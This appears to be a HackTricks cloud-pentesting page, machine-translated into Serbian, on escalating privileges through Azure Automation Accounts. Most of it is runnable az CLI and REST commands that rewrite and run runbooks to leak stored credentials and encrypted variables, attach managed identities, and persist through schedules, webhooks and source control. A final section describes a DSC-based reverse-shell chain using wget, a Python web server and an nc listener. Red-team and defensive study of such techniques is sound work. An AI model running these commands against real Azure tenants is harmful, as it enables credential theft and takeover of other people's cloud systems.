Az - Azure Automation Accounts Privesc
Reading time: 10 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Azure Automation Accounts
Za više informacija proverite:
Hybrid Workers Group
- Od Automation Account do VM
Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan kod) u hybrid worker-u, on će preći na lokaciju VM-a. Ovo može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM.
Štaviše, ako hybrid worker radi u Azure-u sa drugim Managed Identities, runbook će moći da pristupi managed identity runbook-a i svim managed identities VM-a iz metadata servisa.
tip
Zapamtite da metadata servis ima drugačiji URL (http://169.254.169.254
) od servisa sa kojeg se dobija token managed identities automation account-a (IDENTITY_ENDPOINT
).
- Od VM do Automation Account
Štaviše, ako neko kompromituje VM na kojem se izvršava skripta automation account-a, on će moći da locira Automation Account metadata i pristupi mu sa VM-a kako bi dobio tokene za Managed Identities povezane sa Automation Account.
Kao što se može videti na sledećoj slici, imajući Administrator pristup nad VM-om, moguće je pronaći u environment variables procesa URL i tajnu za pristup metadata servisu automation account-a:
Microsoft.Automation/automationAccounts/jobs/write
, Microsoft.Automation/automationAccounts/runbooks/draft/write
, Microsoft.Automation/automationAccounts/jobs/output/read
, Microsoft.Automation/automationAccounts/runbooks/publish/action
(Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.Automation/automationAccounts/runbooks/write
)
Kao sažetak, ova dozvola omogućava kreiranje, modifikovanje i izvršavanje Runbooks u Automation Account-u, što možete koristiti za izvršavanje koda u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene Managed Identities i curenje akreditiva i kriptovanih varijabli koje su pohranjene u Automation Account.
Dozvola Microsoft.Automation/automationAccounts/runbooks/draft/write
omogućava modifikovanje koda Runbook-a u Automation Account-u koristeći:
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Napomena kako se prethodni skript može koristiti za curenje korisničkog imena i lozinke kredencijala i vrednosti kriptovane promenljive smeštene u Automation Account.
Dozvola Microsoft.Automation/automationAccounts/runbooks/publish/action
omogućava korisniku da objavi Runbook u Automation Account-u tako da se promene primene:
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
Dozvola Microsoft.Automation/automationAccounts/jobs/write
omogućava korisniku da pokrene Runbook u Automation Account-u koristeći:
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
Dozvola Microsoft.Automation/automationAccounts/jobs/output/read
omogućava korisniku da pročita izlaz posla u Automation Account koristeći:
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Ako nisu kreirani Runbook-ovi, ili želite da kreirate novi, biće vam potrebne dozvole Microsoft.Resources/subscriptions/resourcegroups/read
i Microsoft.Automation/automationAccounts/runbooks/write
da to uradite koristeći:
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ova dozvola omogućava korisniku da dodeli identitet koji upravlja korisnikom Automatskom nalogu koristeći:
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write
, Microsoft.Automation/automationAccounts/jobSchedules/write
Sa dozvolom Microsoft.Automation/automationAccounts/schedules/write
moguće je kreirati novi raspored u Automation Account-u koji se izvršava svake 15 minuta (nije baš tajno) koristeći sledeću komandu.
Napomena: minimalni interval za raspored je 15 minuta, a minimalno vreme početka je 5 minuta u budućnosti.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Zatim, uz dozvolu Microsoft.Automation/automationAccounts/jobSchedules/write
moguće je dodeliti Scheduler-u runbook koristeći:
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
tip
U prethodnom primeru, jobchedule id je ostavljen kao b510808a-8fdc-4509-a115-12cfc3a2ad0d
kao primer ali ćete morati da koristite proizvoljnu vrednost za kreiranje ovog dodeljivanja.
Microsoft.Automation/automationAccounts/webhooks/write
Sa dozvolom Microsoft.Automation/automationAccounts/webhooks/write
moguće je kreirati novi Webhook za Runbook unutar Automation Account-a koristeći sledeću komandu.
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
Ova komanda treba da vrati webhook URI koji se prikazuje samo prilikom kreiranja. Zatim, da pozovete runbook koristeći webhook URI
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Samo sa dozvolom Microsoft.Automation/automationAccounts/runbooks/draft/write
moguće je ažurirati kod Runbook-a bez objavljivanja i pokrenuti ga koristeći sledeće komande.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write
, (Microsoft.Automation/automationAccounts/sourceControls/read
)
Ova dozvola omogućava korisniku da konfiguriše kontrolu izvora za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer):
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi moguće eskalirati privilegije.
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom Contributor
, a ako je to korisnički upravljani identitet, klijentski ID MI mora biti naveden u varijabli AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID
.
tip
Imajte na umu da nije moguće promeniti URL repozitorijuma kontrole verzija nakon što je kreiran.
Microsoft.Automation/automationAccounts/variables/write
Sa dozvolom Microsoft.Automation/automationAccounts/variables/write
moguće je pisati varijable u Automation Account koristeći sledeću komandu.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Prilagođena Runtime Okruženja
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je backdoor). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
Kompromitovanje Konfiguracije Stanja
Proverite ceo post na: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Korak 1 — Kreiranje Fajlova
Potrebni Fajlovi: Potrebna su dva PowerShell skripta:
reverse_shell_config.ps1
: Fajl za Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa GitHub.push_reverse_shell_config.ps1
: Skript za objavljivanje konfiguracije na VM, dostupan na GitHub.
Prilagođavanje: Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a.
- Korak 2 — Zip Fajl Konfiguracije
Fajl reverse_shell_config.ps1
se kompresuje u .zip
fajl, čineći ga spremnim za prenos na Azure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Korak 3 — Postavi kontekst skladišta i otpremi
Zipped konfiguracioni fajl se otpremi u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Korak 4 — Priprema Kali Box-a
Kali server preuzima RevPS.ps1 payload iz GitHub repozitorijuma.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Skripta je uređena da specificira ciljni Windows VM i port za reverznu ljusku.
- Korak 5 — Objavi Konfiguracioni Fajl
Konfiguracioni fajl se izvršava, što rezultira time da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u.
- Korak 6 — Hostuj Payload i Postavi Listener
Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.